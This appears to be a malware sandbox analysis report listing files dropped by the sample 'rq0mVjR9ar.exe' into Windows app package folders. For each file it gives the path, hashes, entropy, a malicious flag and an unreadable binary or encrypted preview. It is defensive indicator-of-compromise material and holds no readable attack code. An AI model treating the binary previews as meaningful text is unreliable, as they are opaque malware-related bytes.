Preview:	regf.......&..q.x}<...18^..\|E..].Q..!.....%........P{G.H.g...P.2..CA.~./M...;l.4R\|.5...@C.p. .....`..n^c..}..z.n.L.x_m.!.R\|...kX:H.,#..6..5-.......w.l_q.\|..3..?..:.v.i.!......h..\Q..m~.1.p.......%....-P-w.....o.s..Q.`<RpP..}...jW.YL.W.]........B..`..y.$....up..../V..rr...+..".nJ.....%...h.<.........cs.x-..D.<.c..6....zv....e)&.f..E.l....S.Z.....w....^....>...O.s.......`...2....^B."h..#A. .T`.....9..Q...s.@..#9 .'z...(M\|...6}.>...E,.....>W.h>l.....@bkg.`.\.f...O.....Q... ..}S(v'..v...&..y....Q6.L......>.J.{7.K.W....../../9.ZI.\.U..1.k...w.y...MN[...E.`Hp,`rb'1..B.u.......-~)....9c............h].).\~...~....Q..0.`....N.b....v{...,c.V....Lr..SM...7"..$!.-Z.E0.\|.....A.......t..~.{xd..Y.U.@t....`.^.h...dT..+.7.dm....".....&.W...Q....+b.s#..u^9(e..eTjMz..:^..QFU...Ghp.n so......2.@l.9......*...>+4........A...+...'...p.Ng.....#...._.2vy.?.WI-.....R..j..v....M..[..JR..5.....D.M.k.@.z.2.:~.D\...C..m.A'&w..$..C/..P.;U...P.>.....V.8bd....Ve'..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981364078527421
Encrypted:	false
SSDEEP:	192:olom+DWKht2GmpmQfa4xAU/lTTqZUpvIvJ5X4y/mt0LXlHVW1:olo9ua4xAulaeny/w0DlA1
MD5:	FF6EC9486103084A4D5290FF1CA906B8
SHA1:	CADA72BD58583D51ECED80032F3A361E5064E2A3
SHA-256:	1BFF8EC7511C1D615AB44A1AFF12F91758B503EB3CB15970068B9BF5B0F2A5F9
SHA-512:	5B67C7DA288D33EF7BC92A034304724A0020ABE3F04C88E630311317C947BA6F07436B7601AD4908293C4B7924B1A5EFA8FBCCBBA8765DD93CEFB1246C954D1E
Malicious:	false
Preview:	regf..U.vPh._..p..M..0........W%.ss+].${..5S..z.iR.<u<.4.54....]....3..g.6.....i.3.z...Z.X.....&s...........w.......\|x).....3..b...r..f.&.:n.........b...W.m...x(h.M.3..6..0...L..[.Db..%..;.Ga.qkU.[rC1......ys..3.C.i..@6.........".N.<....@..n...)...d.=.tR.3.".d.....p.f.MkH..N....[.{4.g.Qv..X.9.J...z.y$....%..9..~/......Q...$.r....x...o...83wO.a:.h.......y. .<c1.....rt.x.....+8b..#GN`.....oHLZ.:.H.....\....E.....zz$wa..k..9..]...v.BQX.<B.6S.....\|.W\pi.h..B..W?.}.+......0].+.X.t....:.x2..!.xb......}.].z.V....o&..0abHV.....G.....C.[....[..R...X.<:..k...l].\i..$........d]..s..C....?z.p.Y.....L."..-.U..oR..c...P.S<t...._..>.4...V...C1.d.E..>.y.%.....8..aV..t.....}......w$..#..ts..sI[\Z@.J......V2.....3\g...<s.. ?g.F(..8.'ce\.....~...N..L;mc..N%3..4.QR..i....l.crh.y..$..M5.A....].OGk^#.'@3k...%..."..7.z)m!-/....E.q......?..)U...MN.`.DK.3..Z..,..a.w..(b.5Y.e. ]..@.I...{..4..."..zQ-.Z.....I6... ..O...]...=X:X..B.r....g.hQ..(....RJ.#...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97835778243478
Encrypted:	false
SSDEEP:	192:Rg3bN9BOzjatyjeUVH2QpECfSkdeNH7tu726PnkYhVbdgd9y/:Rg3bXBS+tweQ2QpECakQNe26fJbya/
MD5:	9886299676CD5F50FED93AAC9BFEE1FB
SHA1:	D649B56AEFADB28DFCBF393AD642A51A818F29B7
SHA-256:	442EC9FE86F3619ECC7428B5B6850E4263D2D2EFA2E88CD73B0E6E45B741205D
SHA-512:	F8E33B8E307D59FAE16B69B87254B7C6B4727C1F317D167064439F9CB0FD8A227B34DB6AD90CB8B2E3928EF4ACA9E1C00C6C5E9F52C8FB63341E683B5B675B0B
Malicious:	false
Preview:	regf.`..tw+.7...hv....&..G.o.\...tI..c._.s..g......s.=Z...........#....D..........<B\_.o#(..C..s..L,!.syn!..b..H".7..(.L#%..n.......I...".\P.~..evw..(.....(.Z....m ....+..jnR....D....n.v.=...M._..\K...J..._o..\|@..H.O..6.P.7;...F..wqa:....,...t..........ztr..:.I..m...)...kl...&]..(F..Q.A.;RJ`.{...o+O...........'.x.o.L#..2{"X.;t1......`@..X..->..]l.X$.Y....f..DO..Q.-.r.n.Z..i..;......Uo\/;h..Q.qYY{B.(...T.{..4._..dA.#...~.C._.`.)..u.$..^N3...$.G.....~....n].....f..O..x...Uv2........N.....=q..n.9..o:....,&...^.........BGi..wcq...._.....=....j..J...d]T..G..f.s.Q...03..Ga..6.?..d4.F.@J.h.2B"......w...A..P.D....T+....Yf..J..7z..h}...9!..^#Fg..v.....jZ..b...t.K.X.S.........;.N......":..<..@cv.....!.D\.....PP[..J..,..>...wE.....o/B.....^..)0}>6...&e....D.R....g.....}....O.\......b*..$.P........4+E.&..S....G.!....^.(.n.k......).b.v.<\l.D...EM.s%......5.?.[.>{,...N]{n.}z...S...........#U..........D ..........g...Ee!T.........<.cJv:.I...4......X.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975372062850691
Encrypted:	false
SSDEEP:	192:OdMx3WUiYOW+UEaHmoFZWmGGTkfJeKZo3i/P4dYgr1++V:OdMRWDYdtHHZWckfJeKg+PiAu
MD5:	ACA7CC88DE810E23366F02AB3469857F
SHA1:	B3AA78A97671F9DD85B61C7EE833DD1F9ACC36A9
SHA-256:	6C6EC55497C2088E64E26CC5E6BEB5E54F8F6B14124B7AEA2A910DF350EF0100
SHA-512:	FC0E2C5899E2403D9B0FBC722B1C56BB2B70B193D81247580D3208BA8E6AAD505D263B479BD571CAEF2C5E0C6E6789AF42575EB297C971F0A9FDF456E3E3C28C
Malicious:	false
Preview:	regf.....4.qp..P.~.~3...P........A..j...)_.h..Fu.. o...<.uH.;..H...%G..D}..%...F$....<.......`.......Uwm.5.d...!.>.....R;..%.1F....SJ.....H....@..O!.@....@.?3....E.......[.."...t.r.'I.......U.s:.....T.h..%.+iG.F.G.j.Bo.1..p.Z........ .............5\|.V2?....26...~.$...G..Ob.Il........w..S{..R......e$.d..x..68.L.`\|.C.xq..JD..#..o..O.....NL..f..d..&.....}.+f.....w>...n6.7.... .C2..p..`...b..Q.y.fwp&......r....a.5P+...-...n./t.Q..X8GN6.%...-.....o...7`...o......P.,'..G{..+6.a..3\q..U ..x.b....+..Z..e..^..=C.'UD.f.&.......!.F?+$T.m..r..!...x......I.\|..3.h./~....b.0:.mG...6..C>.r.2..,..dV...?{.2....Y{iu...M...%?.mx.........W.T.7../......../.....7.#......c...r....eS..oI....[.}........F..L..ukmK....g..%..H...^...G...... c0..s..I,.....yC..\|..h.x....3..(..2:..\3.J1.K.....o.....K.....?.w......{.9].m\sv..g..\.h.E..d...\|._@p...u?.`n.z..V....KW?..#hI.t3.It.n..$.;..~.....Pl...'}9c...k._.........^.....S.&..f.".T...... "<6UL9..{U.v.x ....8a....OH.q.e

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3304391666254989
Encrypted:	false
SSDEEP:	3072:JW6qPehZBF4AIPPYK/sJVhHGCpDvedlnmFECuwICHyc0GTdWaJ0aW:JaG4P6XXpDUlnm1uwI2yZGTd2
MD5:	51FF7A7B11B860145A7D590CF68C6EDD
SHA1:	91CCC76DE1E06365514D1BE10133E178008C498B
SHA-256:	856BFD2EAC3DA59CB94C3FB788D5507D321E6F41CAAFC32CF2DB6A57BA90E300
SHA-512:	813248CAF4EEF44CEFCA0E121510257B7B014AE3263CD032E7747269AD6CC00247F35A67A3E941ACE36BA3FC4D3DAC017344432A0B8B8F3C02073B2C84A38083
Malicious:	false
Preview:	..`..j.<?.b.kI.2.w.`%..2."9.Q.$d=G\..59z$q...G...U(..L#1.@.UT..T......-..gi0...I.g...U.U.5.7lN.......i'C.A...8....x.$...F>5.wa.4.....mkzJ$w+.'d%..-{i...._...9.\.c..y.G9,s..m............)...(e/D.....Q..+.H.W.=IZ./....N..6G...i..W..A\|.. ..i..+....Rj.....u..5.Le`=.;.l..c.....me.bR..........R....K.Z....&o...........R.S.....Z.f....c..^.'a....."_t.}.tV.UUa.i...B... .V.CnR....{9...[...d,....../.{?E...(....W.zc..z:.[<).\|...Ro..Y9:..y..z3.r...G.Rb...P.\|.a=Qy`......F...ZK9d.`.~.d7.X..\|H.....x2Y-....5...3.u {.\.1.Ye7{n.iL....}...C..P.r.Q\O<b.T.s..w..^u.S.j.b........p.a..............c..a.6..t..,0&..e.j..XH......P....E......H..l%..".@..D4sM%"....ry..[8rs...=..XR.....r.fEK@`^.e.@.z...IFq.hS.X......>)........#'...te"....G...P..\|.....9P.X!r.a.Xf\|..a...l..xM@....._a..V.7\a7....A...........@.s...h../........lR.....'...6N!.S....:.r.T0..-..Z...?:..&..z.Y..s............;..2dj.......'......NU._.i{\...?.,.6i..C..N4i......o....A.W....1...R.1.p.e..3.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989738629061626
Encrypted:	false
SSDEEP:	384:R/08ixUuscTT3wGWEERofIJ892pgc5I8RoJhxHi9OwQggtZ5:R/rlETbWETfIJ4og2qJXnwQ5tZ5
MD5:	BDFE2787AFA0D4162A6F12010F7DE4E6
SHA1:	6DB3D9F01F52477F7EA651FEEF7F6B1A0A0F4E32
SHA-256:	AC6913703F07E2FC4D5E82D816B5059CF3E2FC09E47E3F4BDF835F01BA8FFC4C
SHA-512:	3ABA817ACECF42A0416B514DDB014522D1D4F488E8D77645477F316B0E08346C5A35BD83FC0DB2BD66DD1C8D5D6A7888E1A0029DA18EB1C3BE5B7D086C49B077
Malicious:	false
Preview:	..d.....[HG..J2.1w.Bm ..U...X.....&.aH.%.....jk..t.Lu0..>.[.t.P....=]...k.K..~.;.3....L..0."...y.;@......X.@.-...W....'.....MT....!.....{....T.^..c.!.W>k.,.....O.I.h[.ux.(...K.$....N....K.[.L#.....\|.(..R...B.......... .....:.Y...mC:..4.5mU....R..U.GF.t...O..4T..-.Tu,........0JcM~..4...fE..;.Z.....'....[n.y.8....E..}.d..]...%.c..b.4tRdS.P.f..Q...Pc^..B....w.....f..O.k..=@c..@I7..i..@/__..}.1.l(>..k.}uU(.`&.5h`.......%.Mg..)_%f5iE...x).. ...<>R...0I.n."9;+.V.n.f.-......1..7..4..^...Ya..2...@...%i..#..?.-8.l.J.lm..<.:..n^n...3)D.X../..:..!<.O..\:E.#.O.s....`(..\|].9,......9../.0$..K...~oW.,.....O.........2iI..CEWm..]7..........mDc.K..l.~W..I`...f.....].(\|..}.Y(...p..q..B...8v..".(...A..+o..}.Z..ZY../...a.H..r'-.... .9...T...F,.w.....[.4.......-.>.w...>.x.........+.\|.\[B.v9\|#....s.. 77A.^.Fs.J.U.N#...)#>2.<(..k[..but6.ws....._.b. eHy..A..gJ....S.pJ..Eu.k=.F..9M...u...."LyW5...zD..........$>W..x..d..P!%...6aS..t........T.f..(.......-.E.f...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\73e95c97-d13d-4e4d-a445-357cf0e165a8.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	964
Entropy (8bit):	7.7746404949787555
Encrypted:	false
SSDEEP:	24:2Tg2bpPt815LR1iCDgkXRbnjNAoaEQVq849B/xSpiTkbD:LU9A5LSUgMnUEQV0iD
MD5:	DE39A89FB7055069B47A35A22F0C03DE
SHA1:	027EF2DAA0D9B7006310EC8118C992ED40FE5554
SHA-256:	13D00D7B563EBFE975D34606E6F0147CC69E93CCB6962DBCE7A4F84E28A9BDE7
SHA-512:	480755CEC3BAC8ED3C295D6A48B6248C44D60A680830C82594C43A306E78A368A82D736A0833917B3A1FE6D33CA1305BB28A7BA326EF4EAB76047E75FD54EEBC
Malicious:	false
Preview:	.............3z..T..~4..BqY.....\.a<..4. H_D6[......UYp..>....r..T.94.u.+q..C...]...E..`uj...n.. ..`#/........FDd.=......7"........V....K3..&s..A....V...,...P./;.....2>&.M.[....N.W.lf;.!=^.h.F.!?[.W.1}pX..i..8...=J\|i..\...nPX...m..D`&....P.q..ZK.r.......CE....q_X..x.Q6..V.E.:...b...e...:....fS:(.Z..8.X.I..s..I .d..;.]..<.iB.f...{..S...9....B...#.s..X.........A...n.a...^....BB<...p...>\|..B.2-r...L........$3ay.U....H...'..J..v.-&<.?..$..P..).+..<lE...vhW........4.=.:.....L.;0=.g.C.3..IP.r.......z....)v.A.e........'W.!.?.R..$...5o.u4.5.X...`ue.......1..b;..).k3....m]......C..Eom....:.i~.xb.xKWE.j...>d;...+0..^..'G?..g.q.KfR.5....X....".....[....Q.9/s.$.p.E?N3/...yVX..<.i...ww.....2.....(S~...~...Ud.......j..0.?.M.=..].t.0"H.i.....K8v-c)UP~-.<..G..+....2!W.Y..O[.CR.....@..S.u..).z.....+O.'.....,4mfe?..5W..G. ..-...!..m`{..I....^i.6.3r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8d2da5ff-e847-42a6-87e2-e9e8a16d200d.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	964
Entropy (8bit):	7.7769571964318285
Encrypted:	false
SSDEEP:	24:5JaDlRIXVS/1mCvGK3YhRL9gUPvBKiTkbD:5A3mS/ctIYh9+UhfiD
MD5:	00ACBC3C414D83FAC006819C6C1A266D
SHA1:	C6CD36BE40EE83F24B8B7A41A391C9E8F18698EB
SHA-256:	C5B52F001AE5205347DBABC6C8D78A0ACAA4A490B581C0934E96AADDCC96DF68
SHA-512:	D99C74958E00F198BEC581F5B117A9F78387DE54F9702E2F773117EF9378BF6357C4B81B9942CA895E9D58AC34A1912F8A4DC5393DB8161B6437EFBA1518E8A4
Malicious:	false
Preview:	.....6W...h..[.7HM.h.......5c...B.2.H5..3.C0..`..aW./.../`..L^..L!yn...9...jm._.:!..c.b.8Lh17.T..w.......a..W..0kd.y.......y .'l....?-.....J..Y....O.....).`...5...FT......h..y....mz..OHq$z.P.#...b.C..5.u.....a..Sq.h.U...`.y.W.....Td...X....../H..g......}RY..y.I.. A..o...i.a.An\|x.i}d]^.8..8#.M....+..UW..j...z.R..Y.s.U...\|..H....e.ER....>.K..sd..Z.....,.X.tY...a1dM..$.?g'.F(.....\...3g....eo...z.=...../...3. >.U.....J,x....O%c.\...R...&....n........H..?.}...VXl!H.Sr.9 p8.:B.PeM.c0...<6i.=:.+.......:.l........H...I...u..U'......,..[1"..].....\.........C.!...P.1A....0....."V~.R4.}.......S..#O..6.If.W..V..[..rU&4&...w.9....u\|0AoP`G+.d..~..../..t....F....\....rZ..8....?....!3.q....n4.ie....!.WT..L].ni......yQ...V.$..K..#.>..'.......{Q......!Xy..5I.{..tlZ..yX.....BE.@.r...9])...7..h.......6....4.7..<D;...(q.......0.j..r.3.....:..E..Ek.j\|G..u..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\-U2ww19iycr3M_DiD25JdVUDdqk.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	91794
Entropy (8bit):	7.998213343129653
Encrypted:	true
SSDEEP:	1536:Yf8+Q30R3T3bB1k4SgAqoGsgRTPJDNAjGGrHdP6Bjh62A/kvya/5L1jS9bk7QckM:YEd0RL11XTRThDNAjfP6phs0X1HpsGj
MD5:	E546AC3B063244ED81704317FFC7FACF
SHA1:	C5B86172205D234DD182046CFCB361CF37D8C89F
SHA-256:	9C55DE38F54FD9C0373C9013108A8382E7FB3D822CF1543B19BBC5DD71F1241D
SHA-512:	720C4E3A242A5F515653CBD42ED94F403AC395133DC955CAC00FF82307245B7A96A0DF0CB2FD673054F79C4975638A673D38E14ED8E78633EF8677A1A4A0DBE8
Malicious:	true
Preview:	var W...X.....r....9...t.NrR0K$z..L...lc..O..mp.JTB.....Y..#R..-q....%~.z5..L.[..-U..1..G.......:SP..I....._.k4.\|.......kz...I.......o_..c....h.M...9Q8.....P.9..lV.......4B...3.I.,v`>e..7.)z.Da...x&...tp.....!1..S....}oC.i8...Q..b..`.D......9..k0..1@...+.....,b.....C.IN....z..N..`...r...q.O......o....."..Jr......"qM.V{...IUm..Z..4.n.....z.P..:e.F;}."..".mP....~...M..;U............:.yM.K..$..........m<V...~.....1;..Q...Y..0F..".\|.......,.o3.........@.T..m{s.T..........3..\..@wW@..-.vPjN.......T..t..c%.q.{...y.U...k#.`V.[.:y..i.../. j..-DA"1.``.....].r#C"......mS...}.S/..d.....1...6.B.[Q6...85im....X...4..K.O...uv..8x.e..6..ds..#q+.<B-tkZaW..{.7b..&..ynV....`ty....7o..j.,.^.X.\..m...YO...h.3..0..=.3T..o.;....;.FB.z<`.....]....Q."g.I.o{.*...[..UW.u.l......q.0..kT..;....!...."/.....a...F}...?Y`1.o..5...3z...G........GlOX..%.5.o.....:.>.I..!.b......]...;y...je.h.?.....tz.o..D0..{...i.Wv.>.....;Z....{..ca...D....o)..1.=~&.j.u..v...}b...D.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\1dU-gngnSbFHyDXzxcnjLbIIJkA.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	15202
Entropy (8bit):	7.986816641229417
Encrypted:	false
SSDEEP:	384:tvATboUXaJ7ret5/YHvWJg7V1NOnr8j+C/aa1Kd/orrtCtsX:tvATbYZrU6Sg7gngjb/aai/orrGS
MD5:	DE84F1FD3F4AD189AD4226B04FE45DC6
SHA1:	4CC3C8851683C90B63A044C122F2C8554680E934
SHA-256:	88F0CB5CFABB72396404BE78E8D0C63EC66722E14F735EC543C26BC827AA9436
SHA-512:	B97A6DE183DEC2B4F3FB54B1A7EEB530EF13CC9DF0031941D254300607B54EA629ECDFE063FE7B6CF2D1ECE5BCF2AC0E54720CBE747383DD57D2D9A4BF2CFBE3
Malicious:	false
Preview:	var W.b......p...r.JW..s...F....D..8..q.'.....>D...=.01.......2...5Lqh......;y.2.[t.....W.........H.9..pb...z....n....T..g4K4...V...n...g....i....N.a......`.@..7....D......h.w.....>.......x!1.zMX.o1.......0/e^..,_v.....O..1......<..0..8..]..4-#.`...5.e...I8.I.m.... ..G..Q....~p....a)f..laa(5z}o......C..(.p..Ye......<-...#m......"xGtC.h." ..&..N..-..V......Y.....Y...0....0......n.r..j7.jn...Z.#uNlK.~#.........R...;..%./....)&.X..2.e..\|.....N.2...8.h.>....g.C..IAe......u..)S6g.0H.;....^A+#..sY4..D...D'Z.............&W..&r.....7.~1,p.C.......n.......>..1.sYV.x.....Fg.n..TDAb.}."7q.Bk[....\......0XS!O.e`...G@g.B{d...c...R..%...:..4K5..pYm..0f..".C1.......&..i...(I.iD...F..E..U.,w."....<;...kK....A\|.A......u.{..~..)jR1\..`.DyO......5...u-..WZ._.&.M...(+KV........k.q...m..o....v.kEb..t9k.....d..^R...X;.;......$f0Sk2.....Z...Q..H...&....g.X...[..w..b..u.}.'......R_...../!....x..k.3......J0...U5..&...\...V.....5.u$..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\4BpQ1bD8vX1mXuJObN-gg9RqkyQ.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1284
Entropy (8bit):	7.826227045492024
Encrypted:	false
SSDEEP:	24:X6RqBnh80bAkZA3xqH5Mkvk3DufPaq1G39OZtaeKOILmvPNniTkbD:1h8bfxsMkvk3IaQKsUOIQ1iiD
MD5:	31453C78A24EF4DC984921856AEB2917
SHA1:	1E917927032B267ECFCA9E4B1C561F367B5040AB
SHA-256:	1469DB24E7594A41667D81AECF0E18AF3D385F465393898A5E7E91E74F66EFD3
SHA-512:	B2C841E2F6CF5D5F4EF97787E561652B773EA1904321C40A36B72307A86B3B2A2C18F4F7C06B30535A3B10E317582EA5481956249EFFBE58E269C9A20CE34E2A
Malicious:	false
Preview:	var W.;...R..3.#.HQA..5M....W.....`.b.D.q_D.^.u.,,.I...Q..jX.=..U..>tJF.AE..XP/.....>'...WG..+I.z..s..?UF.,..>..W.-.SZ...M..-..3...W,}.a.$.nd.Z.Z~yt:...y..;.q.qEU.ud.l...]...W...t...Px..Q....b..67.......G.....j-0.^.jt.G..@I.u..E...L.w./.^.0Y2...L..Mm...MS...M....6....DLe...W..U9. Z.-..iD..!x..c.......G.3v..,...s.B..6..8...>.......p.H.....)qN.......F..R.@.W.w.{..R6./.`..P.bC@..w..M.`...dD/.(..LA."5....8.w.2..>.......!.%...[{.8\trIs..r..dK..].u.....W..,.)../.X..fis.q.{.."...AH^W[..[..e......xm\|5.I...s#.5Rg.....[..,...x..^X.[2..n.^.N..{8....J...g.....0(QV....&..S.\vH9..wD_...P..[...x..C../..\..-....R.9A......\|KU.$K.5[.\.2& =@.$&....8.......z...o....d.I.<.U.(-...b...&....w.H.I<..#.P...In.\|l.f.`.E....m.._.. :......a..n..[.p..X.w.."..Cz./.r...wOW..d..^.&/...`.J..O.C....<..._....%J.w...c...f..e.9....>p.#..r..j...`.e\|..P$....-1.E....Dg.O....1.~5:.U....s............`h.{.]...f.W^..6'S....e."..[S.-.E.Gl7.......#.z..9.'.W..1.1.Dq.....H..TH.D.%b....:

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	45781
Entropy (8bit):	7.996205845879532
Encrypted:	true
SSDEEP:	768:YCA4/wrcM2/85EbUB8+jLxzVb/hCimGrdOcK6ALpiSouGxMg4iYCGHeFuTf2V:YV4D/kEo1jFzdkimGrulmMpfiFWOV
MD5:	6F4FA11FC656C83EC7F96D43A8E1DBBE
SHA1:	F8BB80E55004247CA1C07020EC12ADCF96707DFB
SHA-256:	5D73D90E033D558BC63C191B1926EDC4276BAECCF123D57E2200D4B5FE477A4C
SHA-512:	0DFF5649983B2BAE83B994904A312A57598AF095EDD035F7D250676A9FC029897B15BBDA78D3F6BAB4E090AF30EF90451A50B90B6D5283364439B1C9C4DB7303
Malicious:	true
Preview:	var W.. o.~p.68....^@...2....x..x..yv............S.O.Mb%......7.....b....u....bD.\...8.[.....h.h..lb.?...J......_^J.=.L...D"X-....8....$. ....Ae.#...n...F0K[...p.....8:..\..%...5.mwv.wGl.....W..vqV.mD...{`........X....R...13.D.,%{.Y..p........v.}.9N[......s?.$.!i..,....t..1.].......2.....:..c.".wv.!@.u.V/.<...P...c...m-..?o.... ..-....Z{.Y.Ah[....w.$c....s.Y...tyf.Y.j..".P>Y./.;...~...?...a.'..r..........I..IrcV\|..$>z...RX.8."k.0.:.f.....8O...@-.G.....lG.o..,.R.....b.~....{.,.2........z......y....q.....>...m.e8r...3.xg....EP9u.&..).%...Om..{..W.f..,I\|..#...4?.c!Y........uP`.S.X._a.[".e.z..W.i.....R.h..v.}{.50.o.....S.J.'..5..Z...L!..g<..p..#..vW.j..."a..G....\|.!S.4....*q ..!.....x[....a.R...E(.w{.....K.....@rY.......[..?..;..4......."..p.....a.S.\|..N..F...55.2<....XY....n.3R.DI...#P.,....L...t.....U....\|.5.;]W.yy....@A.f...S..Tp.b....b..8 ...[<L.....X..P..Z.jfiT..Sg...m.=.0....Q# ....?.\.`.5.H..z..........K.[T#.Ob....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\58urCM4ERwTmgZF8atjxpMnY4I4.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	349229
Entropy (8bit):	7.128075328120748
Encrypted:	false
SSDEEP:	6144:HYWmqL5wZHcR9fQ5hFg1S7FF8uMkzhbwnf0NPC8Qib3fb7hWjHf:4WmqLmkGFxRF8uGiq
MD5:	8152DD6C5B3CB64AB0A18F553F3D6C73
SHA1:	C8C451E7B76D6B1F373F8D19CB7F24D7743A24C1
SHA-256:	18E6DBBDAC3E71F1AC0976D2B32BD6EFFCFC1F7452B8254D15F3A76B44CFC6E3
SHA-512:	0A73A90A622FBEF70E3A0B2EBEBD5F210A678C9F2A665C71B15E15401B0C1F12B1E71DE7924B588C71C7D52CCD5D383E08CAFD770E0EB58C46B1433D13E452F1
Malicious:	false
Preview:	var W...^VJ..t.%.h.}.....".5..t.Wv..K.....7Rd..8ic?..]m.J.h....?%.v....%...&`..K...D....Q.6..R...0$..6[)T.E......aJ2W.=.V..f...p.gJ.C....A&.5..Dd.H.p.Z.oz`)..j}=..o..Y/...)_/h.9....o.A..'.F.f.38.3OSP..x.\|&..s..m....Z........i,.d.....u..[D-=..8D.@3..0..7......X.\|......X.m.....@P.:...[.xP...m...b..G0.../qx.c"..>..y;z.jO\z....?r..hS.M?(...\.+..Y.u......f.G,.+~..a...}..C.....f...!..^.{2!...L..^....@.....H.Z....P.v..&..7......X...Xy...X_.n...ygHEj......b..p..S8._. ..{.u5..:.M.d...p$N.....d.DF.vw..3....FQ.u.W;.R.~O...2.E.g@.q...wy.\\|:5,o......"..........-X..H..(.cHT..&Q.&u.j....>...h.c`....H.).(E...Q%az..........p........#..t...-.....2.c.9{-....Q.Q[.p.....4gb..U.vy:..H..v,f..C.#v.=.w.d.Y.G..~/.T]..,.......z.1..?..&b7..."fv{v.i...-..{...%.c....`...\.YI.x.X~j.aoGp....^..O_b...+;...e.Z.I..'.i.x.+..".7..7.....N..f.E9!5..o..T.3....K&.#..7.~.$.b..eA.\|.B.]^(\|,in..D..D.4],.r.m....S.F..Y.......+....*....f..!d....L....(.. ...OY..M...~A..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\5_KhThI0onehz_-3sl58j0dOeLI.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	127792
Entropy (8bit):	7.998705797833233
Encrypted:	true
SSDEEP:	3072:arm4oHSrEwnwy59r68zSAcwTF2p5sUn3ETokthNrINhA4rt:USAn15p681ret3TkTNrINh9rt
MD5:	AF8A9735B9722609897CBB6676C0DCAE
SHA1:	C7CAAA4D21B9404D0C80BC07AE9F9E4FBE6DB0F9
SHA-256:	53B6599D3CE08173F6B1DE4EF6399C9B10839403A690F56B581374CFEA541126
SHA-512:	1677AF8A8C97AC4BFDD66C5DBBCC93DB794309765CB3FE981A179EFA0467487CE40E1B086D976CBDEBCB94EE47FD18FC73385890C41C183B4FE76A9EE034CE4D
Malicious:	true
Preview:	(funcR.3.V.j...Fu..'lz.+......=4U......w~M.X.....Y.....g..&..B&...L.o.._).9....l..q$......Q#.O`....Jj.....Q..$..J.N.x.a,0Y...x.. 3.........p.mC....e..................D9cM......m<....%o.78M...k..].N\]N.T......^.F.@..........A.+...;.L.....w..O.E..cw..O.[..".1%c.z.f...sx".Bbb...l..U`=j.$..4..A..1u`.Ou..I.2n.LI.XM....=...y...,.......]....0.......3.?.`..n.=/.g..........4.....+..Y1..K*..IMWst....h.=....~f.}jW]...rY..."....y...u...Z..Sm.1.sfK..vc...].._F.E..6..'..@..Q_.]#5.S..8{.m.&...6..{......h...8.c6..g?..r.4..\.]...J.&V..^..Q."5>Bm.o)d....;..U..!....1. .._....Y.Y$...9.r.../...&......UG....A..k..T_1..h^zZ..?.....0s[k2...z......[pIP......- ..(.d[.G.g.F._u'...(y!N...I...c....D`._...`.. Q'?.......7>...L.i.J ....I..}.OF....L..bR1...w..>...>..rDd,...I..~.{o.a=,....k.....4.......6.@..0.8..u"_,...+/.r/.......s.r8. .... 